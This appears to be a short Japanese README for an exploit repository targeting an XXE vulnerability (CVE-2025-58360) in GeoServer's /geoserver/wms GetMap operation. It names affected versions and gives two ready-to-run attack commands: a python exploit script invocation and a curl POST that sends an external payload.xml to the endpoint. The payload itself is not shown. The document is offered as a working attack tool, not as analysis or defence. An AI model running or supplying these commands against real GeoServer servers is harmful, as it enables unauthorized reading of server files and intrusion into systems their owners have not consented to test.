quyenheu/cve-2025-58360特定のエンドポイント /geoserver/wms の操作 GetMap を介した XXE - Geoserver
バージョン2.26.0から2.26.2未満、および2.25.6未満において、XML External Entity（XXE）の脆弱性が確認されました。このアプリケーションは、特定のエンドポイント /geoserver/wms の GetMap 操作を通じてXML入力を受け付けます。
エクスプロイト1:
python3 CVE-2025-58360 -u http://example.com
エクスプロイト2:
curl -X POST "http://example.com/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" -H "Content-Type: application/xml" --data-binary @payload.xml -o output.png